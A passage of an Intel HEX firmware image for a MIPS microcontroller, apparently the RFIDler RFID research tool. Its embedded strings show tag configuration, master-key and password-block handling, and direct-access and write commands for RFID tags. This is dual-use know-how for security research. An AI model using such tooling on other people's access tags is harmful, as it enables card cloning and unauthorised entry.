00a0043cf2\n:10dadc00dc568424d400848c1000a7af1400a6afad\n:10daec001800a4af00a0043c5c45842421306000e5\n:10dafc002138400002f9400f000000003437410b80\n:10db0c000000000000a0023c5c4544242800c58fa6\n:10db1c004b1e410f000000000400401400000000e8\n:10db2c00211000003437410b0000000000a0023c23\n:10db3c00dc564224b000458c00a0023cdc5642244a\n:10db4c009c00438c00a0023cdc564224a400428c76\n:10db5c0000a0043cdc568424d400848c1000a4afb8\n:10db6c0000a0043c5c458424213060002138400036\n:10db7c0019ff400f000000003437410b000000007b\n:10db8c0000a0023c5c4544242800c58f4020410f76\n:10db9c0000000000040040140000000021100000f0\n:10dbac003437410b00000000211000003437410bca\n:10dbbc000000000000a0023c5c4544242800c58ff6\n:10dbcc008543410f000000000400401400000000d9\n:10dbdc00211000003437410b0000000000a0023c73\n:10dbec00dc564224b000458c00a0023cdc5642249a\n:10dbfc009c00438c00a0023cdc564224a400428cc6\n:10dc0c0000a0043cdc568424d400848c1000a4af07\n:10dc1c0000a0043c5c458424213060002138400085\n:10dc2c0019ff400f000000003437410b00000000ca\n:10dc3c0000a0023c5c4544242800c58f3c41410fa8\n:10dc4c00000000000400401400000000211000003f\n:10dc5c003437410b0000000000a0023cdc5642248b\n:10dc6c00b000458c00a0023cdc5642249c00438c46\n:10dc7c0000a0023cdc564224a400428c00a0043cd0\n:10dc8c00dc568424d400848c1000a4af00a0043c87\n:10dc9c005c458424213060002138400019ff400f7e\n:10dcac00000000003437410b000000002800c48f36\n:10dcbc007427410f000000003437410b00000000b6\n:10dccc002110000021e8c0032400bf8f2000be8f6c\n:10dcdc002800bd270800e00300000000f0ffbd276e\n:10dcec000c00beaf21f0a0030000c0af0000c0af1d\n:10dcfc000000c28f2014027c21e8c0030c00be8ff0\n:10dd0c001000bd270800e00300000000f0ffbd2755\n:10dd1c000c00beaf21f0a0030000000088bf023c45\n:10dd2c004010428c40004230fcff401000000000cc\n:10dd3c0080bf023c3064428c0000c2a388bf033c0d\n:10dd4c004010628c8431027c401062ac0000c283b3\n:10dd5c0021e8c0030c00be8f1000bd270800e003b3\n:10dd6c0000000000f8ffbd270400beaf21f0a003a7\n:10dd7c0080bf023cad000324406443ac80bf023c36\n:10dd8c00006440ac80bf033c006462940100042436\n:10dd9c00c418827c006462a480bf023c106440ac56\n:10ddac0080bf033c0064629401000424c47b827c29\n:10ddbc00006462a480bf033c1064628c01000424e4\n:10ddcc008452827c106462ac88bf033c4010628c2d\n:10dddc008431027c401062ac80bf033c1064628cc6\n:10ddec00010004240463827c106462ac21e8c0034b\n:10ddfc000400be8f0800bd270800e00300000000ef\n:10de0c00f8ffbd270400beaf21f0a00388bf023c81\n:10de1c004010428c400042300400401000000000d2\n:10de2c00010002248f37410b00000000211000007c\n:10de3c0021e8c0030400be8f0800bd270800e003e2\n:10de4c0000000000e0ffbd271c00bfaf1800beaff4\n:10de5c0021f0a0032000c4af9f37410b000000004d\n:10de6c001000c28321204000ad37410f000000009c\n:10de7c002000c28f010043242000c3af0000428069\n:10de8c001000c2a31000c293f5ff40140000000064\n:10de9c0021e8c0031c00bf8f1800be8f2000bd27d7\n:10deac000800e00300000000f8ffbd270400beaf2f\n:10debc0021f0a003211080000800c2a30800c38336\n:10decc0080bf023c206443ac0000000080bf023cd9\n:10dedc001064428c00014230fcff40100000000036\n:10deec0021e8c0030400be8f0800bd270800e00332\n:10defc0000000000e0ffbd271c00bfaf1800beaf44\n:10df0c0021f0a003211080002000c2a31000c0a3a8\n:10df1c002000c2931100c2a31100c2936400422cd2\n:10df2c0010004014000000001100c393eb51023ca0\n:10df3c001f854234190062001010000042110200cb\n:10df4c00ff00423030004224ff0042302014027c9b\n:10df5c0021204000ad37410f0000000001000224d9\n:10df6c001000c2a31100c393eb51023c1f85423435\n:10df7c00190062001010000042110200ff00423034\n:10df8c002118400021106000c01002008020020007\n:10df9c00211044002310430080100200ff00433086\n:10dfac001100c293211062001100c2a31100c29390\n:10dfbc000a00422c05004010000000001000c39322\n:10dfcc00010002240e006214000000001100c39333\n:10dfdc00cccc023ccdcc42341900620010100000b5\n:10dfec00c2100200ff00423030004224ff004230d9\n:10dffc002014027c21204000ad37410f00000000ae\n:10e00c001100c393cccc023ccdcc4234190062003d\n:10e01c0010100000c2100200ff004230401002003d\n:10e02c00801802002110430023100200ff0043302f\n:10e03c001100c293211062001100c2a31100c293ff\n:10e04c0030004224ff0042302014027c212040008a\n:10e05c00ad37410f0000000021e8c0031c00bf8f4a\n:10e06c001800be8f2000bd270800e0030000000050\n:10e07c00f8ffbd270400beaf21f0a00380bf023c17\n:10e08c001064428c02004230050040100000000079\n:10e09c0080bf033c1064628c4408027c106462ac48\n:10e0ac0021e8c0030400be8f0800bd270800e00370\n:04e0bc000000000060\n:020000040000fa\n:020000041d04d9\n:10e0c000c8ffbd273400bfaf3000beaf2c00b7afd4\n:10e0d0002800b6af2400b5af2000b4af1c00b3af2a\n:10e0e0001800b2af1400b1af1000b0af21b880007b\n:10e0f00000008280059d1e3c1d39de272118c203c9\n:10e100000000638021a8a000880063300800601030\n:10e1100021a0800001009426000082822118c20301\n:10e120000000638088006330fbff60540100942688\n:10e130002d000324980043102b0042380100422c8c\n:10e140002198000021a08202000086822110c603cf\n:10e15000000042900400423021880000bc004010c2\n:10e160002180000021900000d0ffd6242128000249\n:10e1700021202002213000000340410f2440073cb1\n:10e1800021804000218860000254410f2120c002fc\n:10e190002120000221282002213040002138600087\n:10e1a0002d35410f01009426218840002180600018\n:10e1b000000086822110c603000042900400423015\n:10e1c000e9ff401425905602010003242e0002248a\n:10e1d0004800c250010082827200605400008282b6\n:10e1e0002a00a0120000000021a0e00221b80000d7\n:10e1f0000000b4ae2500e01221400000c317170054\n:10e2000026b0570023b0c202059d153cd058b52654\n:10e21000f03f093c8938410b090014240e0080129c\n:10e22000f8ffb526ffff9426071096020100423042\n:10e23000faff4010212000010000a68e0400a78ee6\n:10e240000340410f21282001214040002148600067\n:10e25000f4ff8016f8ffb5262120200221280002b5\n:10e26000213000017500e006213820010340410ff4\n:10e27000000000002120400021286000ac48410f30\n:10e280002130e00221884000218060007b002012c4\n:10e2900000f0027e251030027300401000000000e4\n:10e2a000070060122110200221202002a057410ff8\n:10e2b00021280002218840002180600021102002d6\n:10e2c000211800023400bf8f3000be8f2c00b78fa2\n:10e2d0002800b68f2400b58f2000b48f1c00b38fa8\n:10e2e0001800b28f1400b18f1000b08f0800e00347\n:10e2f0003800bd272120c203000084900400843030\n:10e30000b5ff80100100942621b80000d0ff5624ec\n:10e310002128000221202002213000000340410f6b\n:10e320002440073c21804000218860000254410fb6\n:10e330002120c0022120000221282002213040009b\n:10e34000213860002d35410f0100942621884000be\n:10e350002180600000008282259056022118c203ad\n:10e360000000639004006330e8ff6014fffff726ad\n:10e37000dfff032424184300201c037c45000224f3\n:10e380000f006250010083829affa0560000b4aed5\n:10e390007d38410b00000000010094265238410beb\n:10e3a00001001324dfff032424184300201c037cf6\n:10e3b00045000224f4ff621421b8000001008382aa\n:10e3c0002d000224190062102b0002242300625049\n:10e3d0000200838201009426213800002110c3032b\n:10e3e00000004290040042300c0040102110000058\n:10e3f00001009426d0ff6524000083824030020093\n:10e40000c01002002120c303000084902110c2002c\n:10e4100004008430f6ff8014211045002318020008\n:10e420000b106700e238410b21b8e2020200838240\n:10e4300001000724f738410b02009426a12f410f59\n:10e4400000000000212040009f38410b212860007f\n:10e45000211800007338410b219000002138000082\n:10e46000f738410b020094268dff4012220003244e\n:10e4700000a0023ca838410bb47243acf07f033ccf\n:10e4800085ff4314251030021c39410b2200032460\n:020000040000fa\n:020000041d04d9\n:10e49000d8ffbd272400bfaf2000beaf21f0a003ee\n:10e4a0001400c0a300a0023cdc5642248700429026\n:10e4b0000a00401400000000059d023ce85344247b\n:10e4c000059d023cec5345242013410f0000000041\n:10e4d000211000007c39410b00000000059d023c2a\n:10e4e000e8534424059d023c045445242013410f65\n:10e4f00000000000010002241000c2af7539410b7a\n:10e50000000000004715410f00000000030040100c\n:10e51000000000007c39410b000000001400c29391\n:10e520000600401400000000059d023c08544424ed\n:10e530001000c58f8513410f0000000000a0023cb1\n:10e54000dc564224a0004290ffff42240300422cec\n:10e5500026004010000000001800c2272120000003\n:10e56000212800001000c68f21384000662b410f83\n:10e570000000000000a0023cdc56422487004290cc\n:10e5800000a0033cdc246424212840001e2d410f00\n:10e59000000000000a0040100000000001000224fa\n:10e5a0001400c2a3059d023c185444241000c58fda\n:10e5b0008513410f000000007139410b000000007d\n:10e5c0001400c0a3000000001000c28f010042240c\n:10e5d0001000c2af1000c28f0001422cc9ff4014ce\n:10e5e000000000007c39410b00000000000000002a\n:10e5f00021e8c0032400bf8f2000be8f2800bd2764\n:10e600000800e00300000000c8ffbd273400bfafd2\n:10e610003000beaf21f0a00300a0023cdc56422433\n:10e62000a00042900a00401400000000059d023c3a\n:10e63000e8534424059d023c285445242013410fef\n:10e640000000000021100000113a410b0000000002\n:10e6500000a0023cdc564224bc0042900a00401458\n:10e6600000000000059d023ce8534424059d023c47\n:10e670003c5445242013410f0000000021100000ed\n:10e68000113a410b00000000020002242800c2af32\n:10e690000c3a410b0000000000a0023cdc56422472\n:10e6a000a00042900100032430004310000000004d\n:10e6b00004000324580043140000000000a0023ca2\n:10e6c000dc5642249c00438c00a0023cdc564224d1\n:10e6d000b000428c00a0043cdc568424bc00849032\n:10e6e0002130800000a0043cdc5684248c00858c02\n:10e6f00000a0043cdc5684248800848c00a0073ce5\n:10e700009957e7241000a7af1400a6af1800a5afd3\n:10e710001c00a4af212060002800c58f00a0033c8e\n:10e72000da57662421384000c006410f000000007f\n:10e730002118400000a0023cdc564224b000428c6c\n:10e74000080062140000000000a0023cdc564224d5\n:10e750002800c38fa40043ac2800c28f113a410b9c\n:10e7600000000000093a410b0000000000a0023c3c\n:10e77000dc5642249c00438c00a0023cdc56422420\n:10e78000b000428c00a0043cdc568424bc00849081\n:10e790002128800000a0043cdc5684248c00848c5a\n:10e7a00000a0063c9957c6241000a6af1400a5afe0\n:10e7b0001800a4af1c00a0af010004242000a4afe7\n:10e7c000212060002800c58f00a0033cda57662492\n:10e7d00021384000a9ff400f000000002118400030\n:10e7e00000a0023cdc564224b000428c08006214b7\n:10e7f0000000000000a0023cdc5642242800c38f29\n:10e80000a40043ac2800c28f113a410b0000000065\n:10e81000093a410b0000000021100000113a410ba1\n:10e82000000000002800c28f010042242800c2af6f\n:10e830002800c28f0001422c97ff40140000000006\n:10e840002110000021e8c0033400bf8f3000be8fcc\n:0ce850003800bd270800e00300000000b5\n:020000040000fa\n:020000041d04d9\n:10e85c00524649446c657200257300000d0a0d0a7e\n:10e86c0043757272656e7420636f6e6669673a0ddc\n:10e87c000a0000000d0a202054414720547970658d\n:10e88c003a2020202020202020202020202573002a\n:10e89c000d0a20204672616d6520436c6f636b20fe\n:10e8ac0075532f3130303a20202564000d0a20207a\n:10e8bc004d6f64756c6174696f6e3a202020202056\n:10e8cc0020202020202573000d0a20204d616e632e\n:10e8dc006865737465723a20202020202020202047\n:10e8ec00202573000d0a2020426950686173653a37\n:10e8fc0020202020202020202020202020257300d4\n:10e90c000d0a2020496e766572743a202020202052\n:10e91c002020202020202020202573000d0a2020dc\n:10e92c004461746120526174652052462f6e3a2006\n:10e93c0020202020202564000d0a202044617461d1\n:10e94c0020526174652053756220303a20202020bb\n:10e95c00202564000d0a20204461746120526174ea\n:10e96c00652053756220313a202020202025640038\n:10e97c000d0a20204461746120426974733a20208e\n:10e98c002020202020202020202564000d0a20207b\n:10e99c004461746120426c6f636b733a20202020b9\n:10e9ac0020202020202564000d0a2020426c6f635b\n:10e9bc006b73697a653a20202020202020202020ab\n:10e9cc00202564000d0a202053796e63204269745f\n:10e9dc00733a202020202020202020202025640095\n:10e9ec000d0a202053796e6320303a2020202020fd\n:10e9fc002020202020202020203078253032780044\n:10ea0c000d0a202053796e6320313a2020202020db\n:10ea1c002020202020202020203078253032780023\n:10ea2c000d0a202053796e6320323a2020202020ba\n:10ea3c002020202020202020203078253032780003\n:10ea4c000d0a202053796e6320333a202020202099\n:10ea5c0020202020202020202030782530327800e3\n:10ea6c000d0a2020506f74204c6f773a2020202004\n:10ea7c002020202020202020202564000d0a20208a\n:10ea8c00506f7420486967683a202020202020208d\n:10ea9c0020202020202564000d0a202050534b20dc\n:10eaac005175616c6974792075533a2020202020af\n:10eabc00202564000d0a20205265706561743a208f\n:10eacc002020202020202020202020202025640011\n:10eadc000d0a202054696d656f75742075533a20aa\n:10eaec002020202020202020202564000d0a20201a\n:10eafc00525744204761702046432020202020207c\n:10eb0c0020202020202564000d0a2020525744206c\n:10eb1c00536c6565702046433a202020202020202d\n:10eb2c00202564000d0a20205257442057616b6544\n:10eb3c002046433a2020202020202020202564003d\n:10eb4c000d0a2020525744205a65726f2046433ad2\n:10eb5c002020202020202020202564000d0a2020a9\n:10eb6c00525744204f6e652046433a2020202020e7\n:10eb7c0020202020202564000d0a202052574420fc\n:10eb8c00576169742052582d3e54582046433a2000\n:10eb9c00202564000d0a20205257442057616974c7\n:10ebac002054582d3e52582046433a2020256400cc\n:10ebbc000d0a202057696567616e642050756c736f\n:10ebcc00652075533a202020202564000d0a202052\n:10ebdc0057696567616e64204761702075533a20f0\n:10ebec0020202020202564000d0a2020576965670d\n:10ebfc00616e642049646c6553746174653a2020bd\n:08ec0c002025730d0a00000031\n:020000040000fa\n:020000041d04d9\n:10ec1400f8ffbd270400beaf21f0a0030800c4af75\n:10ec24000c00c5af1000c6af1400c7af00a0023c73\n:10ec3400dc5642240800c38f9c0043ac00a0023c75\n:10ec4400dc5642240c00c38fec0043ac00a0023c11\n:10ec5400dc5642241000c38ff00043ac00a0023cf9\n:10ec6400dc5642241400c38fe40043ac00a0023cf1\n:10ec7400dc5642241800c38fe80043ac00a0023cd9\n:10ec8400dc5642241c00c38fe00043ac00a0023ccd\n:10ec9400dc5642242000c38ff40043ac00a0023ca5\n:10eca400dc5642242400c38ff80043ac21e8c0039f\n:10ecb4000400be8f0800bd270800e0030000000028\n:10ecc400e0ffbd271c00bfaf1800beaf21f0a003ba\n:10ecd4002000c4af2400c5af2800c6af2c00c7afc6\n:10ece4003000c28f1000c2a33400c28fa48082af50\n:10ecf4003800c28f40100200b48082af3c00c28f43\n:10ed040040100200b88082af4000c28f4010020061\n:10ed1400ac8082af4400c28f40100200b08082af4a\n:10ed24004800c28f40100200a88082af4c00c28ffe\n:10ed340040100200c48082afac80828f0700401074\n:10ed440000000000b080828f04004010000000002a\n:10ed5400a880828f040040140000000021100000ed\n:10ed6400b63b410b000000002000c28f000043901e\n:10ed74003000022406006210000000002000c28f50\n:10ed840000004390310002240d00621400000000d2\n:10ed940000a0023c5c5544242000c58f77ba400f84\n:10eda40000000000040040140000000021100000d6\n:10edb400b63b410b00000000773b410b0000000014\n:10edc40000a0023c5c5544242000c58f2400c68f5b\n:10edd400494a410f0000000000a0023c5c55432456\n:10ede4002400c28f211062002a000324000043a0e3\n:10edf40000a0023c5c554224188082af88bf023ccc\n:10ee04002061428c020042302000401000000000cb\n:10ee1400a08080a3a480828f42280200a480838fd4\n:10ee2400a080829303000424213060002138400034\n:10ee3400ce0b410f000000002800c28f13004014c5\n:10ee44000000000000a0023cdc5642249c00438cdd\n:10ee540000a0023cdc564224f000428c1800620000\n:10ee6400122000001400c4afeb51023c1f85423451\n:10ee74001400c38f19006200101000004211020038\n:10ee840021204000400e410f000000002800c28fe6\n:10ee9400050040100000000001000224a08082a3ad\n:10eea400ad3b410b000000001000c293a08082a380\n:10eeb4002c00c28f0600401000000000000000007b\n:10eec400a080839308000224fdff62140000000068\n:10eed4000100022421e8c0031c00bf8f1800be8f6c\n:10eee4002000bd270800e00300000000d8ffbd2774\n:10eef4002400bfaf2000beaf21f0a0032800c4afa0\n:10ef040000a0023cdc564224870042900a000324fd\n:10ef140009004310000000001000032419004310ee\n:10ef24000000000008000324080043100000000053\n:10ef3400e63b410b000000002800c48f78d0400f4e\n:10ef440000000000e63b410b000000001a00022410\n:10ef54001000a2af200002241400a2af2800c28f28\n:10ef64001800a2af010004240a000524120006249c\n:10ef740016000724e8b1400f00000000e63b410bf7\n:10ef8400000000002800c48fc8e3400f0000000008\n:10ef94000000000021e8c0032400bf8f2000be8fc2\n:0cefa4002800bd270800e003000000006a\n:020000040000fa\n:020000041d04d9\n:10efb000c8ffbd273400bfaf3000b7af2c00b6afdd\n:10efc0002800b5af2400b4af2000b3af1c00b2af2f\n:10efd0001800b1af1400b0af21a8800000008280fb\n:10efe000059d133c1d3973262118620200006380c1\n:10eff00021b0a000880063300800601021808000ec\n:10f0000001001026000002822118620200006380c5\n:10f0100088006330fbff6054010010262d0003249c\n:10f02000810043102b0042380100422c21b800001f\n:10f03000218002020000038221106302000042903e\n:10f0400004004230a50040102188000021a00000eb\n:10f05000d0ff722421202002d147410f2041053cde\n:10f06000218840004355410f2120400221202002e9\n:10f07000212840007744410f0100102621884000dc\n:10f08000000003822110630200004290040042301d\n:10f09000efff401425a09202010004242e00022458\n:10f0a0003e00625001000282620080540000028231\n:10f0b0002400c012401811002180a00221900000fd\n:10f0c0000000d0ae1f00401240181100c3171200fc\n:10f0d00026a8520023a8a202059d133c105f7326a8\n:10f0e000060010243d3c410b803f023c0b00001207\n:10f0f000fcff7326ffff102607181502010063307e\n:10f10000faff6010000000000000658ed147410f3b\n:10f1100021204000f7ff0016fcff7326212020026b\n:10f120006a00400621284000d147410f000000003e\n:10f1300021204000c94e410f212840022188400073\n:10f140004018110000ff023c6c00625022000324b2\n:10f1500068002012000000000500e01221102002cb\n:10f16000cf57410f2120200221884000211020028a\n:10f170003400bf8f3000b78f2c00b68f2800b58fba\n:10f180002400b48f2000b38f1c00b28f1800b18f01\n:10f190001400b08f0800e0033800bd272118620278\n:10f1a0000000639004006330bfff60100100102670\n:10f1b00021900000d0ff552421202002d147410f8b\n:10f1c0002041053c218840004355410f2120a002e9\n:10f1d00021202002212840007744410f0100102601\n:10f1e000218840000000028225a0950221186202b9\n:10f1f0000000639004006330eeff6014ffff5226ae\n:10f20000dfff032424184300201c037c4500022454\n:10f210000f00625001000382aaffc0560000d0ae6a\n:10f22000313c410b00000000010010260d3c410b59\n:10f2300001001724dfff032424184300201c037c53\n:10f2400045000224f4ff62142190000001000382b3\n:10f250002d000224190062102b00022422006250ab\n:10f2600002000382010010262138000021106302f1\n:10f2700000004290040042300c00401021100000b9\n:10f2800001001026d0ff65240000038240300200f8\n:10f29000c010020021206302000084902110c200ef\n:10f2a00004008430f6ff801421104500231802006a\n:10f2b0000b106700863c410b219042020200038242\n:10f2c000010007249b3c410b02001026af45410f73\n:10f2d000000000004d3c410b212040002120000097\n:10f2e000273c410b21a00000213800009b3c410b32\n:10f2f0000200102698ff80122200032400a0023c86\n:08f30000563c410bb47243ac12\n:020000040000fa\n:020000041d04d9\n:10f30800e8ffbd271400bfaf1000beaf21f0a00377\n:10f318001800c4af1c00c5af1800c48f1c00c58fef\n:10f32800263d410f000000000800401000000000ca\n:10f338001800c48f1800c58f6000062463b9400ff9\n:10f3480000000000d63c410b000000002110000026\n:10f3580021e8c0031400bf8f1000be8f1800bd271e\n:10f368000800e0030000000078ffbd278400bfaf5d\n:10f378008000beaf21f0a0038800c4af8c00c5afe9\n:10f388001000c227212040008c00c58fe7b8400f2d\n:10f3980000000000040040140000000021100000dc\n:10f3a800203d410b000000003c00c2271000c3278d\n:10f3b800212060002128400034000624494a410fda\n:10f3c800000000001000c227212040001000c227c2\n:10f3d8002128400034000624abbb400f0000000089\n:10f3e800211840001a0002240400621000000000e6\n:10f3f80021100000203d410b000000007000c327d1\n:10f408001100c2272120600021284000180006248e\n:10f4180063b9400f00000000040040140000000021\n:10f4280021100000203d410b000000007000c4279f\n:10f438007800c3277c00c227059d053ca459a52454\n:10f448002130600021384000b355410f0000000012\n:10f458007800c38f7c00c28f8800c48f059d053c4f\n:10f46800ac59a5242130600021384000ac54410f2c\n:10f47800000000000100022421e8c0038400bf8fbf\n:10f488008000be8f8800bd270800e0030000000050\n:10f49800c0ffbd273c00bfaf3800beaf21f0a003be\n:10f4a8004000c4af4400c5af4400c48fa34a410f15\n:10f4b8000000000021184000080002240400621027\n:10f4c8000000000021100000813d410b00000000f9\n:10f4d8003400c2274400c48f059d033cb8596524f5\n:10f4e80021304000b355410f000000003400c28fa6\n:10f4f8001800c32721206000059d033cc0596524de\n:10f5080021304000ac54410f000000001800c22711\n:10f518001000c32721206000212840000200062493\n:10f52800494a410f000000004400c28f03004324f1\n:10f538003400c22721206000059d033cc85965247a\n:10f5480021304000b355410f000000003400c28f45\n:10f558001800c32721206000059d033cd05965246d\n:10f5680021304000ac54410f000000001200c327b6\n:10f578001800c22721206000212840000500062429\n:10f58800494a410f000000001800c2270100422428\n:10f59800212040001000c22721284000e7b8400f72\n:10f5a800000000001800c3271800c22701004224e9\n:10f5b8002120600021284000180006244af8400f46\n:10f5c800000000004000c48f059d023cd859452426\n:10f5d800e7b8400f000000004000c28f2c00432411\n:10f5e8001800c22721206000212840001a000624a4\n:10f5f8006dbb400f000000000100022421e8c00399\n:10f608003c00bf8f3800be8f4000bd270800e003d4\n:10f6180000000000e8ffbd271400bfaf1000beaf18\n:10f6280021f0a0031800c4af1800c48f21280000df\n:10f638008af9400f0000000021e8c0031400bf8fc2\n:10f648001000be8f1800bd270800e003000000006e\n:020000040000fa\n:020000041d04d9\n:10f658004e525a2f446972656374000050534b31ff\n:10f668000000000050534b320000000050534b3351\n:10f678000000000046534b310000000046534b3257\n:10f688000000000046534b316100000046534b32e6\n:10f69800610000004d616e636865737465720000f7\n:10f6a8003131000031300000206761703a20256454\n:10f6b80000000000206f6e653a20256400000000fd\n:10f6c800207a65726f3a202564000000205549446d\n:10f6d8003a2025730d0a0000257300000d0a00006a\n:10f6e8002020436f6e66696720426c6f636b202829\n:10f6f80030293a20252e38730d0a0d0a0000000023\n:10f7080020202020202020204d6173746572204b1a\n:10f7180065793a20256420203d20000025730d0ad4\n:10f7280000000000436f6d7061746962696c6974f0\n:10f7380079204d6f64650000457874656e64656472\n:10f74800204d6f6465000000556e646566696e65de\n:10f7580064204d6f646500005472756500000000f8\n:10f7680046616c73650000002020202020202020a6\n:10f7780020202020582d4d6f64653a2025730d0aee\n:10f788000000000020202020202020202044617438\n:10f798006120526174653a2025303264203d200092\n:10f7a8002564202a2046430d0a000000202020203e\n:10f7b800202020204d6f64756c6174696f6e3a204b\n:10f7c80025303264203d200042695068617365200d\n:10f7d8002827353029000000426950686173652088\n:10f7e8002827353729000000496e76616c69640066\n:10f7f800202020202020202020202020202053539b\n:10f80800543a2025730d0a00526573657276656453\n:10f818002f496e76616c696400000000202020206a\n:10f8280020202020202020202020202053543a204f\n:10f8380025730d0a000000002020202020202050e1\n:10f84800534b20436172726965723a202564203dea\n:10f858002000000052657365727665640000000040\n:10f86800202020202020202020204d6178626c6fed\n:10f87800636b3a2025640d0a000000002020202038\n:10f888002020202020202020202020414f523a20d4\n:10f8980025730d0a000000002020202020202020b1\n:10f8a800202020202020204f54503a2025730d0a74\n:10f8b80000000000202020202020202020202020c0\n:10f8c8002020205057443a2025730d0a00000000dc\n:10f8d8002020202020202020466173742057726940\n:10f8e80074653a2025730d0a0000000020202020ae\n:10f8f8002020496e766572736520446174613a20f0\n:10f9080025730d0a00000000202020202020202040\n:10f9180020504f522044656c61793a2025730d0ab6\n:10f92800000000000d0a20202020205057442042cb\n:10f938006c6f636b202837293a20252e38732020d6\n:10f9480020200000303030383830453000000000ca\n:10f95800303031303730363000000000393033462f\n:10f968003030383200000000303030383130343038\n:10f9780000000000303030383130453000000000e1\n:10f988003030313438303430000000003030303816\n:10f9980038304538000000004d616e636865737447\n:10f9a8006572000050534b310000000050534b3239\n:10f9b8000000000050534b330000000046534b3109\n:10f9c8000000000046534b32000000004269706896\n:10f9d800617365004e525a2f446972656374000062\n:10f9e80031310000313000003030303030303030cc\n:10f9f800000000003030303131000000303030304d\n:10fa080030303030303030303030303000000000ae\n:10fa18000d0a466f756e6420746167207769746893\n:10fa28002067617020256400206f6e6520256400c2\n:10fa3800207a65726f20256400000000257300009d\n:10fa48000d0a00002020436f6e66696720426c6fc4\n:10fa5800636b202830293a20252e38730d0a0d0aa9\n:10fa680000000000547275650000000046616c7368\n:10fa7800650000002020202020202050616765209c\n:10fa880053656c6563743a2025730d0a0000000005\n:10fa9800202020202020202046617374205772697e\n:10faa80074653a2025730d0a0000000020202020ec\n:10fab80020202020204461746120526174653a201e\n:10fac80025303264203d20002564202a2046430d3d\n:10fad8000a0000002020202020202020202020555f\n:10fae800736520414f523a2025730d0a000000002b\n:10faf8002020202020202020202020557365205001\n:10fb080057443a2025730d0a0000000020202020c9\n:10fb180020202050534b20436172726965723a204d\n:10fb2800256420203d200000202020202020496e30\n:10fb3800766572736520446174613a2025730d0af5\n:10fb48000000000020202020202020204d6f647518\n:10fb58006c6174696f6e3a20256420203d20000096\n:10fb680025730d0a000000002020202020202020de\n:10fb7800204d617820426c6f636b3a2025640d0a32\n:10fb880000000000202020202020202020202020ed\n:10fb98002020202053543a2025730d0a000000002d\n:10fba8000d0a202020202050574420426c6f636ba0\n:10fbb800202837293a20252e3873202020200000bd\n:10fbc800453630314630303400000000453630319b\n:10fbd800383035360000000045363030463045387c\n:10fbe8000000000045363030463031340000000057\n:10fbf8004536303046303145000000000d0a257387\n:10fc08002c204745545f54524143455f4441544179\n:10fc180000000000303000000d0a25732c205245ea\n:10fc2800534554000d0a25732c203f494e56414c2c\n:10fc380049443f000d0a25732c204d4f44554c4133\n:10fc480054494f4e5f444546454154000d0a2573bb\n:10fc58002c204449524543545f4143434553533a4a\n:10fc68000000000025302e31733a000025302e3276\n:10fc7800730000000d0a25732c20414f523a0000f2\n:10fc880025302e38730000000d0a25732c2050579c\n:10fc9800445f4449524543545f4143434553533ab3\n:10fca8000000000025302e38733a000025302e3130\n:10fcb800730000000d0a25732c2057524954455fe4\n:10fcc80050303a000d0a25732c205057445f575284\n:08fcd8004954455f50303a0029\n:020000040000fa\n:020000041d04d9\n:10fce000e8ffbd271400bfaf1000beaf21f0a00396\n:10fcf000e00c410f0000000088bf033c606062948c\n:10fd00000421027c606062a488bf033c206162948d\n:10fd100001000424444a827c206162a488bf033c21\n:10fd2000a0616294444a027ca06162a421e8c003fd\n:10fd30001400bf8f1000be8f1800bd270800e0031d\n:10fd400000000000d8ffbd272400bfaf2000beafd9\n:10fd500021f0a0032800c4af2110a0002c00c2a3f2\n:10fd600088bf023cd060428c0003427cff004230de\n:10fd70001000c2a31400c0af383f410f00000000c4\n:10fd80002800c28f32004010000000002c00c393f6\n:10fd90009a3b023c00ca4234180062001210000074\n:10fda0001800c2af1800c28f0011020080180200b4\n:10fdb000211043001800c2af1800c28f4210020089\n:10fdc0001800c2af01000424170e410f000000000c\n:10fdd000863f410b000000004715410f0000000066\n:10fde0000300401000000000b93f410b000000007c\n:10fdf00021200000170e410f0000000021184000d4\n:10fe00001800c28f2b1043000300401000000000b8\n:10fe1000b93f410b0000000088bf023cd060428c1b\n:10fe20000003427cff004230211840001000c293c2\n:10fe3000e9ff6210000000001000c2930100422c94\n:10fe4000ff0042301000c2a3713f410b00000000d0\n:10fe5000640002241400c2afac3f410b000000005c\n:10fe6000a03f410b000000004715410f00000000bb\n:10fe70000300401000000000b93f410b00000000eb\n:10fe800088bf023cd060428c0003427cff004230bd\n:10fe9000211840001000c293f3ff62100000000020\n:10fea0001000c2930100422cff0042301000c2a398\n:10feb0001400c28fffff43241400c3afe8ff4014b7\n:10fec00000000000e8030424bf3f410f00000000d1\n:10fed000059d033c2c5e6424212840008513410fbe\n:10fee0000000000021e8c0032400bf8f2000be8f67\n:10fef0002800bd270800e00300000000e0ffbd2748\n:10ff00001c00bfaf1800beaf21f0a0032000c4af9b\n:10ff10001400c0af01000424170e410f00000000c0\n:10ff2000e53f410b00000000d33f410b0000000003\n:10ff30004715410f000000000400401000000000c1\n:10ff400021100000fd3f410b0000000088bf023c73\n:10ff5000d060428c0003427cff00423021184000f8\n:10ff60001000c28ff2ff62100000000001000424a4\n:10ff7000170e410f000000001400c38f2110620013\n:10ff80001400c2af1000c28f0100422cff004230ab\n:10ff90001000c2af2000c28fffff43242000c3af78\n:10ffa000e1ff4014000000001400c28f4010020066\n:10ffb0001400c2af1400c38fcccc023ccdcc423471\n:10ffc0001900620010100000821102001400c2af7c\n:10ffd0009a3b023c00ca43341400c28f1b006200eb\n:10ffe000f401400010100000121000001400c2af15\n:10fff0001400c28f21e8c0031c00bf8f1800be8f01\n:020000041d05d8\n:0c0000002000bd270800e0030000000005\n:020000040000fa\n:020000041d05d8\n:10000c004050050042550a00c04a0500427d0400dc\n:10001c0025482f01c042040000800e3c25482e01cb\n:10002c0040680700426d0d00c0620700427d06006b\n:10003c0025608f01c05a060025608e012628a70076\n:10004c002428ae00ffff4f25fe07e12d47002010ae\n:10005c0000000000ffffaf25fe07e12d6f00201010\n:10006c000000000002fcaf2521504f0119002c01ab\n:10007c00123800001070000019000b011220000053\n:10008c001030000019002b011258000010680000fd\n:10009c002130cb002b78cb002138ed002138ef003c\n:1000ac000200ed10000000002b78ed002170cf0154\n:1000bc0019000c0112400000104800002130c8004b\n:1000cc002b78c8002138e9002138ef000200e91034\n:1000dc00000000002b78e9002170cf012578860004\n:1000ec000200e011000000000100e73425480e007a\n:1000fc0006002005254007002a7800012140080150\n:10010c002148290121482f01ffff4a25ffff4f25d8\n:10011c00fe07e12d680020100000000000040825f7\n:10012c0000040f2d21482f012b782f0121504f0156\n:10013c00c27a08000100ef3123400f01c2220800ef\n:10014c00407d090025208f0040780900027b0f00bc\n:10015c002528af00007d0a002528af0025100